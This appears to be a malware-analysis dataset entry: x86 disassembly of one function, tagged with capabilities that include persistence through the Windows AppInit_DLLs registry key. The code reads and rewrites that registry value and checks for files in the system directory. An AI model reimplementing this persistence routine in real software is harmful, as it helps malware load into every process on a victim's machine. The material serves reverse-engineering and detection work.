Function at 0x409190
Capabilities:
Check if file exists
Get common file path
Persist via appinit_dlls registry key
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x914
mov al, byte [0x41eb28]
push esi
push edi
mov byte [esp + 0x11c], al
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x11d]
lea edx, [esp + 0x51c]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x14]
mov dword [esp + 8], 1
stosb byte es:[edi], al
push ecx
lea eax, [esp + 0xc]
push edx
push eax
push str.AppInit_DLLs
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWindows
push 0x80000002
mov dword [esp + 0x2c], 0x400
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
test eax, eax
jne 0x4093be
mov cx, word [0x41ae74]
mov dl, byte [0x41ae76]
mov dword [esp + 0x10], eax
mov word [esp + 0xc], cx
lea eax, [esp + 0xc]
lea ecx, [esp + 0x51c]
push eax
push ecx
mov byte [esp + 0x16], dl
call dword [sym.imp.MSVCRT.dll__mbstok]
mov esi, eax
add esp, 8
test esi, esi
je 0x4093be
push ebx
mov ebx, dword [esp + 0xc]
push ebp
mov ebp, dword [esp + 0x10]
push 2
push 0x41ae70
push esi
call dword [sym.imp.SHLWAPI.dll_StrCmpNIA]
test eax, eax
jne 0x4092a1
push str.M.LOG
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x4092a1
lea edx, [esp + 0x20]
push 0x104
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [esp + 0x20]
push esi
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea ecx, [esp + 0x20]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x409294
lea edx, [esp + 0x20]
push edx
call fcn.00406390
add esp, 4
mov dword [esp + 0x18], 1
jmp 0x40935f
lea edi, [esp + 0x124]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x40930c
mov ecx, 0x400
lea eax, [esp + 0x124]
cmp byte [eax], 0
je 0x4092cb
inc eax
dec ecx
jne 0x4092c0
jmp 0x40930c
test ecx, ecx
je 0x40930c
lea eax, [esp + 0x10]
test eax, eax
je 0x4092de
mov ebp, 0x400
sub ebp, ecx
mov edx, 0x400
lea eax, [esp + ebp + 0x124]
sub edx, ebp
je 0x40930c
mov edi, 0x41aec0
sub edi, eax
mov cl, byte [edi + eax]
test cl, cl
je 0x409304
mov byte [eax], cl
inc eax
dec edx
jne 0x4092f5
jmp 0x409308
test edx, edx
jne 0x409309
dec eax
mov byte [eax], 0
mov ecx, 0x400
lea eax, [esp + 0x124]
cmp byte [eax], 0
je 0x409323
inc eax
dec ecx
jne 0x409318
jmp 0x40935f
test ecx, ecx
je 0x40935f
lea edx, [esp + 0x10]
test edx, edx
je 0x409336
mov ebx, 0x400
sub ebx, ecx
mov edx, 0x400
lea eax, [esp + ebx + 0x124]
sub edx, ebx
je 0x40935f
sub esi, eax
mov cl, byte [esi + eax]
test cl, cl
je 0x409357
mov byte [eax], cl
inc eax
dec edx
jne 0x409348
jmp 0x40935b
test edx, edx
jne 0x40935c
dec eax
mov byte [eax], 0
lea eax, [esp + 0x14]
push eax
push 0
call dword [sym.imp.MSVCRT.dll__mbstok]
mov esi, eax
add esp, 8
test esi, esi
jne 0x40923a
mov eax, dword [esp + 0x18]
pop ebp
test eax, eax
pop ebx
je 0x4093be
lea edi, [esp + 0x11c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x120]
push ecx
push 1
push str.AppInit_DLLs
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWindows
push 0x80000002
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
mov dword [0x41ed1c], 1
pop edi
xor eax, eax
pop esi
add esp, 0x914
ret